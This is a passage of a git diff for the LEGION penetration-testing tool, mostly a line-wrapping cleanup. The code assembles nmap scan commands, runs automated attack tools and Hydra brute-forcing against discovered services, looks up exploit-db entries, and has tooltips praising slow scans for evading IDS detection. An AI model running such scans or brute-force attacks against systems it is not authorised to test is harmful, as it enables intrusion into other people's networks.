actions from settings file and set up of various settings + self.loadSettings() # creation of context menu actions from settings file and set up of various settings self.initNmapImporter() self.initPythonImporter() self.initScreenshooter() @@ -64,12 +72,13 @@ def __init__(self, view, logic): self.processTimers = {} self.processMeasurements = {} - # initialisations that will happen everytime we create/open a project - can happen several times in the program's lifetime + # initialisations that will happen everytime we create/open a project - can happen several times in the + # program's lifetime def start(self, title='*untitled'): - self.processes = [] # to store all the processes we run (nmaps, niktos, etc) - self.fastProcessQueue = queue.Queue() # to manage fast processes (banner, snmpenum, etc) - self.fastProcessesRunning = 0 # counts the number of fast processes currently running - self.slowProcessesRunning = 0 # counts the number of slow processes currently running + self.processes = [] # to store all the processes we run (nmaps, niktos, etc) + self.fastProcessQueue = queue.Queue() # to manage fast processes (banner, snmpenum, etc) + self.fastProcessesRunning = 0 # counts the number of fast processes currently running + self.slowProcessesRunning = 0 # counts the number of slow processes currently running activeProject = self.logic.activeProject self.nmapImporter.setDB(activeProject.database) # tell nmap importer which db to use self.nmapImporter.setHostRepository(activeProject.repositoryContainer.hostRepository) @@ -95,7 +104,8 @@ def initPythonImporter(self): self.pythonImporter.log.connect(self.view.ui.LogOutputTextView.append) def initScreenshooter(self): - self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) + # screenshot taker object (different thread) + self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) self.screenshooter.done.connect(self.screenshotFinished) self.screenshooter.log.connect(self.view.ui.LogOutputTextView.append) @@ -103,7 +113,9 @@ def initBrowserOpener(self): self.browser = BrowserOpener() # browser opener object (different thread) self.browser.log.connect(self.view.ui.LogOutputTextView.append) - def initTimers(self): # these timers are used to prevent from updating the UI several times within a short time period - which freezes the UI + # these timers are used to prevent from updating the UI several times within a short time period - + # which freezes the UI + def initTimers(self): self.updateUITimer = QTimer() self.updateUITimer.setSingleShot(True) self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) @@ -118,22 +130,25 @@ def initTimers(self): # these time # Update only when queue > 0 self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother - # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. + # this function fetches all the settings from the conf file. Among other things it populates the actions lists + # that will be used in the context menus. def loadSettings(self): self.settingsFile = AppSettings() - self.settings = Settings( - self.settingsFile) # load settings from conf file (create conf file first if necessary) - self.originalSettings = Settings( - self.settingsFile) # save the original state so that we can know if something has changed when we exit LEGION + # load settings from conf file (create conf file first if necessary) + self.settings = Settings(self.settingsFile) + # save the original state so that we can know if something has changed when we exit LEGION + self.originalSettings = Settings(self.settingsFile) self.logic.projectManager.setStoreWordListsOnExit(self.logic.activeProject, self.settings.brute_store_cleartext_passwords_on_exit == 'True') self.view.settingsWidget.setSettings(Settings(self.settingsFile)) - def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) + # call this function when clicking 'apply' in the settings menu (after validation) + def applySettings(self, newSettings): self.settings = newSettings - def cancelSettings(self): # called when the user presses cancel in the Settings dialog - self.view.settingsWidget.setSettings(self.settings) # resets the dialog's settings to the current application settings to forget any changes made by the user + def cancelSettings(self): # called when the user presses cancel in the Settings dialog + # resets the dialog's settings to the current application settings to forget any changes made by the user + self.view.settingsWidget.setSettings(self.settings) @timing def saveSettings(self, saveBackup = True): @@ -208,7 +223,7 @@ def openExistingProject(self, filename, projectType='legion'): self.logic.openExistingProject(filename, projectType) self.start(ntpath.basename(self.logic.activeProject.properties.projectName)) # initialisations (globals, signals, etc) self.view.restoreToolTabs() # restores the tool tabs for each host - self.view.hostTableClick() # click on first host to restore his host tool tabs + self.view.hostTableClick() # click on first host to restore his host tool tabs self.view.importProgressWidget.hide() # hide the progress widget def saveProject(self, lastHostIdClicked, notes): @@ -235,35 +250,38 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan log.info('No hosts entered..') return + runningFolder = self.logic.activeProject.properties.runningFolder if scanMode == 'Easy': if runStagedNmap: self.runStagedNmap(targetHosts, runHostDiscovery) elif runHostDiscovery: - outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-host-discover' + outputfile = runningFolder + "/nmap/" + getTimestamp() + '-host-discover' command = "nmap -n -sV -O --version-light -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: - outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-nmap-list' + outputfile = runningFolder + "/nmap/" + getTimestamp() + '-nmap-list' command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile - self.runCommand('nmap', 'nmap (list)', targetHosts, '', '', command, getTimestamp(True), outputfile, + self.runCommand('nmap', 'nmap (list)', targetHosts, '', '', command, getTimestamp(True), + outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) elif scanMode == 'Hard': - outputfile = self.logic.activeProject.properties.runningFolder + "/nmap/" + getTimestamp() + '-nmap-custom' + outputfile = runningFolder + "/nmap/" + getTimestamp() + '-nmap-custom' nmapOptionsString = ' '.join(nmapOptions) nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) command = "nmap " + nmapOptionsString + " " + targetHosts + " -oA " + outputfile self.runCommand('nmap', 'nmap (custom ' + nmapOptionsString + ')', targetHosts, '', '', command, getTimestamp(True), outputfile, - self.view.createNewTabForHost(str(targetHosts), 'nmap (custom ' + nmapOptionsString + ')', + self.view.createNewTabForHost( + str(targetHosts), 'nmap (custom ' + nmapOptionsString + ')', True)) #################### CONTEXT MENUS #################### + # showAll exists because in some cases we only want to show host tools excluding portscans and 'mark as checked' @timing - def getContextMenuForHost(self, isChecked, showAll=True): # showAll exists because in some cases we only want to show host tools excluding portscans and 'mark as checked' - + def getContextMenuForHost(self, isChecked, showAll=True): menu = QMenu() self.nmapSubMenu = QMenu('Portscan') actions = [] @@ -300,7 +318,8 @@ def handleHostAction(self, ip, hostid, actions, action): return if action.text() == 'Run nmap (staged)': - log.info('Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results + # if we are running nmap we need to purge previous portscan results + log.info('Purging previous portscan data for ' + str(ip)) if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'tcp'): repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, 'tcp') if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, 'udp'): @@ -337,24 +356,26 @@ def handleHostAction(self, ip, hostid, actions, action): if action == actions[i]: name = self.settings.hostActions[i][1] invisibleTab = False - if 'nmap' in name: # to make sure different nmap scans appear under the same tool name + # to make sure different nmap scans appear under the same tool name + if 'nmap' in name: name = 'nmap' invisibleTab = True elif 'python-script' in name: invisibleTab = True - # remove all chars that are not alphanumeric from tool name (used in the outputfile's name) - outputfile = self.logic.activeProject.properties.runningFolder + "/" + re.sub("[^0-9a-zA-Z]", "", str( - name)) + "/" + getTimestamp() + "-" + re.sub("[^0-9a-zA-Z]", "", - str(self.settings.hostActions[i][1])) + "-" + ip + # remove all chars that are not alphanumeric from tool name (used in the outputfile's name) + outputfile = self.logic.activeProject.properties.runningFolder + "/" + \ + re.sub("[^0-9a-zA-Z]", "", str(name)) + "/" + getTimestamp() + "-" + \ + re.sub("[^0-9a-zA-Z]", "", str(self.settings.hostActions[i][1])) + "-" + ip command = str(self.settings.hostActions[i][2]) command = command.replace('[IP]', ip).replace('[OUTPUT]', outputfile) - # check if same type of nmap scan has already been made and purge results before scanning + + # check if same type of nmap scan has already been made and purge results before scanning if 'nmap' in command: proto = 'tcp' if '-sU' in command: proto = 'udp' - - if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) + # if we are running nmap we need to purge previous portscan results (of the same protocol) + if repositoryContainer.portRepository.getPortsByIPAndProtocol(ip, proto): repositoryContainer.portRepository.deleteAllPortsAndScriptsByHostId(hostid, proto) tabTitle = self.settings.hostActions[i][1] @@ -364,7 +385,7 @@ def handleHostAction(self, ip, hostid, actions, action): @timing def getContextMenuForServiceName(self, serviceName='*', menu=None): - if menu == None: # if no menu was given, create a new one + if menu == None: # if no menu was given, create a new one menu = QMenu() if serviceName == '*' or serviceName in self.settings.general_web_services.split(","): @@ -373,10 +394,13 @@ def getContextMenuForServiceName(self, serviceName='*', menu=None): actions = [] for a in self.settings.portActions: - if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': # if the service name exists in the portActions list show the command in the context menu - actions.append([self.settings.portActions.index(a), menu.addAction(a[0])]) # in actions list write the service and line number that corresponds to it in portActions + # if the service name exists in the portActions list show the command in the context menu + if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': + # in actions list write the service and line number that corresponds to it in portActions + actions.append([self.settings.portActions.index(a), menu.addAction(a[0])]) - modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + # if the user pressed SHIFT+Right-click show full menu + modifiers = QtWidgets.QApplication.keyboardModifiers() if modifiers == QtCore.Qt.ShiftModifier: shiftPressed = True else: @@ -406,10 +430,11 @@ def handleServiceNameAction(self, targets, actions, action, restoring=True): srvc_num = actions[i][0] for ip in targets: tool = self.settings.portActions[srvc_num][1] - tabTitle = self.settings.portActions[srvc_num][1] + " (" + ip[1] + "/" + ip[2] + ")" - outputfile = self.logic.activeProject.properties.runningFolder + "/" + re.sub("[^0-9a-zA-Z]", "",str(tool)) + "/" + getTimestamp() + '-' + tool + "-" + \ - ip[0] + "-" + ip[1] - + tabTitle = self.settings.portActions[srvc_num][1]+" ("+ip[1]+"/"+ip[2]+")" + outputfile = self.logic.activeProject.properties.runningFolder + "/" + \ + re.sub("[^0-9a-zA-Z]", "", str(tool)) + \ + "/" + getTimestamp() + '-' + tool + "-" + ip[0] + "-" + ip[1] + command = str(self.settings.portActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) @@ -430,12 +455,13 @@ def getContextMenuForPort(self, serviceName='*'): menu = QMenu() - modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu if modifiers == QtCore.Qt.ShiftModifier: serviceName='*' - terminalActions = [] # custom terminal actions from settings file - for a in self.settings.portTerminalActions: # if wildcard or the command is valid for this specific service or if the command is valid for all services + terminalActions = [] # custom terminal actions from settings file + # if wildcard or the command is valid for this specific service or if the command is valid for all services + for a in self.settings.portTerminalActions: if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': terminalActions.append([self.settings.portTerminalActions.index(a), menu.addAction(a[0])]) @@ -457,7 +483,8 @@ def handlePortAction(self, targets, *args): if action.text() == 'Send to Brute': for ip in targets: - self.view.createNewBruteTab(ip[0], ip[1], ip[3]) # ip[0] is the IP, ip[1] is the port number and ip[3] is the service name + # ip[0] is the IP, ip[1] is the port number and ip[3] is the service name + self.view.createNewBruteTab(ip[0], ip[1], ip[3]) return if action.text() == 'Run custom command': @@ -482,8 +509,8 @@ def getContextMenuForProcess(self): clearAction = menu.addAction("Clear") return menu - def handleProcessAction(self, selectedProcesses, action): # selectedProcesses is a list of tuples (pid, status, procId) - + # selectedProcesses is a list of tuples (pid, status, procId) + def handleProcessAction(self, selectedProcesses, action): if action.text() == 'Kill': if self.view.killProcessConfirmation(): for p in selectedProcesses: @@ -661,11 +688,14 @@ def handleProcUpdate(*vargs): self.checkProcessQueue() - self.updateUITimer.stop() # update the processes table - self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI + # update the processes table + self.updateUITimer.stop() + # while the process is running, when there's output to read, display it in the GUI + self.updateUITimer.start(900) qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) - qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) + qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText( + str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) @@ -701,13 +731,15 @@ def runPython(self): self.checkProcessQueue() - self.updateUI2Timer.stop() # update the processes table - self.updateUI2Timer.start(900) # while the process is running, when there's output to read, display it in the GUI - self.updateUITimer.stop() # update the processes table + self.updateUI2Timer.stop() # update the processes table + # while the process is running, when there's output to read, display it in the GUI + self.updateUI2Timer.start(900) + self.updateUITimer.stop() # update the processes table self.updateUITimer.start(900) qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) - qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) + qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText( + str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) @@ -742,7 +774,7 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): if os.geteuid() == 0: # if we are root we can run SYN + UDP scans command += "-sSU " if stage == 2: - command += '-O ' # only check for OS once to save time and only if we are root otherwise it fail + command += '-O ' # only check for OS once to save time and only if we are root otherwise it fail else: command += '-sT ' @@ -751,48 +783,52 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): else: command = 'nmap -sV --script=./scripts/nmap/vulners.nse -vvvv ' + targetHosts + ' -oA ' + outputfile - self.runCommand('nmap','nmap (stage '+str(stage)+')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) + self.runCommand('nmap', 'nmap (stage ' + str(stage) + ')', str(targetHosts), '', '', command, + getTimestamp(True), outputfile, textbox, discovery=discovery, stage=stage, stop=stop) def importFinished(self): self.updateUI2Timer.stop() self.updateUI2Timer.start(800) - self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) + # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this + # every time. this can be improved) + self.view.displayAddHostsOverlay(False) def screenshotFinished(self, ip, port, filename): + outputFolder = self.logic.activeProject.properties.outputFolder dbId = self.logic.activeProject.repositoryContainer.processRepository.storeScreenshot(str(ip), str(port), str(filename)) imageviewer = self.view.createNewTabForHost(ip, 'screenshot (' + port + '/tcp)', True, '', - str( - self.logic.activeProject.properties.outputFolder) + '/screenshots/' + str( - filename)) + str(outputFolder) + '/screenshots/' + str(filename)) imageviewer.setProperty('dbId', QVariant(str(dbId))) - self.view.switchTabClick() # to make sure the screenshot tab appears when it is launched from the host services tab - self.updateUITimer.stop() # update the processes table + # to make sure the screenshot tab appears when it is launched from the host services tab + self.view.switchTabClick() + self.updateUITimer.stop() # update the processes table self.updateUITimer.start(900) def processCrashed(self, proc): - self.logic.activeProject.repositoryContainer.processRepository.storeProcessCrashStatus(str(proc.id)) + processRepository = self.logic.activeProject.repositoryContainer.processRepository + processRepository.storeProcessCrashStatus(str(proc.id)) log.info('Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n', '').replace("b'", "") # self.view.closeHostToolTab(self, index)) - self.view.findFinishedServiceTab( - str(self.logic.activeProject.repositoryContainer.processRepository.getPIDByProcessId(str(proc.id)))) + self.view.findFinishedServiceTab(str(processRepository.getPIDByProcessId(str(proc.id)))) log.info('Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends # def processFinished(self, qProcess, crashed=False): def processFinished(self, qProcess): + processRepository = self.logic.activeProject.repositoryContainer.processRepository try: - if not self.logic.activeProject.repositoryContainer.processRepository.isKilledProcess( + if not processRepository.isKilledProcess( str(qProcess.id)): # if process was not killed if not qProcess.outputfile == '': # move tool output from runningfolder to output folder if there was an output file self.logic.toolCoordinator.saveToolOutput(self.logic.activeProject.properties.outputFolder, qProcess.outputfile) print(qProcess.command) - if 'nmap' in qProcess.command: # if the process was nmap, use the parser to store it - if qProcess.exitCode() == 0: # if the process finished successfully + if 'nmap' in qProcess.command: # if the process was nmap, use the parser to store it + if qProcess.exitCode() == 0: # if the process finished successfully newoutputfile = qProcess.outputfile.replace( self.logic.activeProject.properties.runningFolder, self.logic.activeProject.properties.outputFolder) @@ -809,32 +845,31 @@ def processFinished(self, qProcess): self.pythonImporter.start() exitCode = qProcess.exitCode() if exitCode != 0 and exitCode != 255: - log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + log.info("Process {qProcessId} exited with code {qProcessExitCode}" + .format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) log.info("Process {qProcessId} is done!".format(qProcessId=qProcess.id)) - self.logic.activeProject.repositoryContainer.processRepository.storeProcessOutput(str(qProcess.id), - qProcess.display.toPlainText()) + processRepository.storeProcessOutput(str(qProcess.id), qProcess.display.toPlainText()) if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI - self.view.findFinishedBruteTab(str( - self.logic.activeProject.repositoryContainer.processRepository.getPIDByProcessId(str(qProcess.id)))) + self.view.findFinishedBruteTab(str(processRepository.getPIDByProcessId(str(qProcess.id)))) try: self.fastProcessesRunning =- 1 self.checkProcessQueue() self.processes.remove(qProcess) self.updateUITimer.stop() - self.updateUITimer.start(1000) # update the interface soon - + self.updateUITimer.start(1000) # update the interface soon except Exception as e: log.info("Process Finished Cleanup Exception {e}".format(e=e)) - except Exception as e: # fixes bug when receiving finished signal when project is no longer open. + except Exception as e: # fixes bug when receiving finished signal when project is no longer open. log.info("Process Finished Exception {e}".format(e=e)) raise - def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red + # when hydra finds valid credentials we need to save them and change the brute tab title to red + def handleHydraFindings(self, bWidget, userlist, passlist): self.view.blinkBruteTab(bWidget) for username in userlist: self.logic.activeProject.properties.usernamesWordList.add(username) @@ -861,7 +896,7 @@ def scheduler(self, parser, isNmapImport): def runToolsFor(self, service, ip, port, protocol='tcp'): log.info('Running tools for: ' + service + ' on ' + ip + ':' + port) - if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it + if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it service=service[:-1] for tool in self.settings.automatedAttacks: @@ -876,11 +911,12 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): if tool[0] == a[1]: restoring = False tabTitle = a[1] + " (" + port + "/" + protocol + ")" - outputfile = self.logic.activeProject.properties.runningFolder + "/" + re.sub( - "[^0-9a-zA-Z]", "", str(tool[0])) + "/" + getTimestamp() + '-' + a[ - 1] + "-" + ip + "-" + port + outputfile = self.logic.activeProject.properties.runningFolder + "/" + \ + re.sub("[^0-9a-zA-Z]", "", str(tool[0])) + \ + "/" + getTimestamp() + '-' + a[1] + "-" + ip + "-" + port command = str(a[2]) - command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', + command = command.replace('[IP]', ip).replace('[PORT]', port)\ + .replace('[OUTPUT]', outputfile) log.debug("Running tool command " + str(command)) @@ -890,7 +926,8 @@ def runToolsFor(self, service, ip, port, protocol='tcp'): restoring = True tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) - self.runCommand(tool[0], tabTitle, ip, port, protocol, command, getTimestamp(True), + self.runCommand(tool[0], tabTitle, ip, port, protocol, command, + getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabTitle, not (tab == 'Hosts'))) break diff --git a/deps/primeExploitDb.py b/deps/primeExploitDb.py index f308bb22..0e61a184 100644 --- a/deps/primeExploitDb.py +++ b/deps/primeExploitDb.py @@ -2,10 +2,12 @@ from pyExploitDb import PyExploitDb + def prime(): pEdb = PyExploitDb() pEdb.debug = False pEdb.openFile() + if __name__ == "__main__": prime() diff --git a/legion.py b/legion.py index a7270dc1..8a037262 100644 --- a/legion.py +++ b/legion.py @@ -29,7 +29,8 @@ from sqlalchemy.orm.scoping import ScopedSession as scoped_session except ImportError as e: log.info( - "Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + "Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*" + ) log.info(e) exit(1) @@ -81,7 +82,8 @@ qss_file = open('./ui/legion.qss').read() except IOError as e: log.info( - "The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + "The legion.qss file is missing. Your installation seems to be corrupted. " + + "Try downloading the latest version.") exit(0) MainWindow.setStyleSheet(qss_file) diff --git a/parsers/Host.py b/parsers/Host.py index b8d06f3b..c55ff046 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -79,7 +79,8 @@ def getPorts( self, protocol, state ): open_ports = [] for portNode in self.hostNode.getElementsByTagName('port'): - if portNode.getAttribute('protocol') == protocol and portNode.getElementsByTagName('state')[0].getAttribute('state') == state: + if portNode.getAttribute('protocol') == protocol and portNode.getElementsByTagName('state')[0]\ + .getAttribute('state') == state: open_ports.append( portNode.getAttribute('portid') ) return open_ports @@ -109,7 +110,8 @@ def getService( self, protocol, port ): '''return a Service object''' for portNode in self.hostNode.getElementsByTagName('port'): - if portNode.getAttribute('protocol') == protocol and portNode.getAttribute('portid') == port and len(portNode.getElementsByTagName('service')) > 0: + if portNode.getAttribute('protocol') == protocol and portNode.getAttribute('portid') == port and \ + len(portNode.getElementsByTagName('service')) > 0: service_node = portNode.getElementsByTagName('service')[0] service = Service.Service( service_node ) return service diff --git a/parsers/Script.py b/parsers/Script.py index c7354218..0ee6be7e 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -82,7 +82,8 @@ def processVulnersScriptOutput(self, vulnersOutput): if exploitResults: resultCveDict['exploitId'] = exploitResults['edbid'] resultCveDict['exploit'] = exploitResults['exploit'] - resultCveDict['exploitUrl'] = "https://www.exploit-db.com/exploits/{0}".format(resultCveDict['exploitId']) + resultCveDict['exploitUrl'] = "https://www.exploit-db.com/exploits/{0}".\ + format(resultCveDict['exploitId']) resultCvesProcessed.append(resultCveDict) resultCpeDetails['cves'] = resultCvesProcessed resultsDict[resultCpeData[3]] = resultCpeDetails @@ -123,7 +124,10 @@ def scriptSelector(self, host): print("------------------------VULNERS") cveResults = self.getCves() for cveEntry in cveResults: - t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version, hostId = host.id, exploitId = cveEntry.exploitId, exploit = cveEntry.exploit, exploitUrl = cveEntry.exploitUrl) + t_cve = cve(name=cveEntry.name, url=cveEntry.url, source=cveEntry.source, + severity=cveEntry.severity, product=cveEntry.product, version=cveEntry.version, + hostId=host.id, exploitId=cveEntry.exploitId, exploit=cveEntry.exploit, + exploitUrl=cveEntry.exploitUrl) results.append(t_cve) return results elif 'shodan-api' in scriptId: diff --git a/parsers/Session.py b/parsers/Session.py index 25e943c0..ca7808a0 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -22,7 +22,10 @@ def __init__( self, SessionHT ): dom = xml.dom.minidom.parse('i.xml') dom.getElementsByTagName('finished')[0].getAttribute('timestr') - MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), 'nmapVersion' : '4.79', 'scanArgs' : '-sS -sV -A -T4', 'startTime' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), 'totalHosts' : '1', 'upHosts' : '1', 'downHosts' : '0' } + MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), + 'nmapVersion' : '4.79', 'scanArgs' : '-sS -sV -A -T4', + 'startTime' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), + 'totalHosts' : '1', 'upHosts' : '1', 'downHosts' : '0' } s = Session( MySession ) diff --git a/requirements.txt b/requirements.txt index 69b6af6c..9a77a802 100644 --- a/requirements.txt +++ b/requirements.txt @@ -18,3 +18,4 @@ pyExploitDb>=0.2.0 pyShodan GitPython pandas +flake8>=3.7.8 diff --git a/test.py b/tests/test.py similarity index 100% rename from test.py rename to tests/test.py diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index 9059b994..c9282b3f 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -1,15 +1,21 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" import os from PyQt5.QtGui import * # for filters dialog @@ -33,7 +39,8 @@ def __init__(self, parent=None): def setupLayout(self): self.setModal(True) self.setWindowTitle('Add host(s) to scan seperated by semicolons') - flags = Qt.Window | Qt.WindowSystemMenuHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint | Qt.WindowCloseButtonHint + flags = Qt.Window | Qt.WindowSystemMenuHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint | \ + Qt.WindowCloseButtonHint self.setWindowFlags(flags) self.resize(700, 700) @@ -109,17 +116,26 @@ def setupLayout(self): self.lblScanTimingLabel4 = QtWidgets.QLabel() self.lblScanTimingLabel5 = QtWidgets.QLabel() self.lblScanTimingLabel0.setText("Paranoid") - self.lblScanTimingLabel0.setToolTip('Serialize every scan operation with a 5 minute wait between each. Useful for evading IDS detection [-T0]') + self.lblScanTimingLabel0.setToolTip( + 'Serialize every scan operation with a 5 minute wait between each. Useful for evading IDS detection [-T0]') self.lblScanTimingLabel1.setText("Sneaky") - self.lblScanTimingLabel1.setToolTip('Serialize every scan operation with a 15 second wait between each. Useful for evading IDS detection [-T1]') + self.lblScanTimingLabel1.setToolTip( + 'Serialize every scan operation with a 15 second wait between each. Useful for evading IDS detection [-T1]') self.lblScanTimingLabel2.setText("Polite") - self.lblScanTimingLabel2.setToolTip('Serialize every scan operation with a 0.4 second wait between each. Useful for evading IDS detection [-T2]') + self.lblScanTimingLabel2.setToolTip( + 'Serialize every scan operation with a 0.4 second wait between each. Useful for evading IDS detection [-T2]' + ) self.lblScanTimingLabel3.setText("Normal") self.lblScanTimingLabel3.setToolTip('NMAP defaults including parallelization [-T3]') self.lblScanTimingLabel4.setText("Aggressive") - self.lblScanTimingLabel4.setToolTip('Sets the following options: --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 with a 10ms delay between operations [-T4]') + self.lblScanTimingLabel4.setToolTip( + 'Sets the following options: --max-rtt-timeout 1250ms --min-rtt-timeout 100ms ' + + '--initial-rtt-timeout 500ms --max-retries 6 with a 10ms delay between operations [-T4]') self.lblScanTimingLabel5.setText("Insane") - self.lblScanTimingLabel5.setToolTip('Sets the following options: --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --script-timeout 10m with a 5ms delay between operations [-T5]') + self.lblScanTimingLabel5.setToolTip('Sets the following options: --max-rtt-timeout 300ms ' + + '--min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 ' + + '--host-timeout 15m --script-timeout 10m with a 5ms delay between ' + + 'operations [-T5]') self.sldScanTimingSlider = QtWidgets.QSlider(Qt.Horizontal) self.sldScanTimingSlider.setRange(0, 5) self.sldScanTimingSlider.setSingleStep(1) @@ -157,10 +173,13 @@ def setupLayout(self): self.rdoScanOptXmas.setToolTip('Xmas Tree scanning sets the FIN, URG and PUSH flags [-sX]') self.rdoScanOptPingTcp = QtWidgets.QRadioButton(self) self.rdoScanOptPingTcp.setText('TCP Ping') - self.rdoScanOptPingTcp.setToolTip('TCP Ping scanning sends either a SYN or an ACK packet to any port (80 is the default) on the remote system [-sP]') + self.rdoScanOptPingTcp.setToolTip('TCP Ping scanning sends either a SYN or an ACK packet to any port '+ + '(80 is the default) on the remote system [-sP]') self.rdoScanOptPingUdp = QtWidgets.QRadioButton(self) self.rdoScanOptPingUdp.setText('UDP Ping') - self.rdoScanOptPingUdp.setToolTip('UDP Ping scanning sends 0-byte UDP packets to each target port on the victim. Receipt of an ICMP Port Unreachable message signifies the port is closed, otherwise it is assumed open [-sU]') + self.rdoScanOptPingUdp.setToolTip('UDP Ping scanning sends 0-byte UDP packets to each target port on the '+ + 'victim. Receipt of an ICMP Port Unreachable message signifies the port '+ + 'is closed, otherwise it is assumed open [-sU]') # Fragmentation option self.chkScanOptFragmentation = QtWidgets.QCheckBox(self) @@ -246,7 +265,8 @@ def setupLayout(self): self.cmdCancelButton = QPushButton('Cancel', self) self.cmdCancelButton.setMaximumSize(110, 30) self.cancelIcon = QtGui.QIcon() - 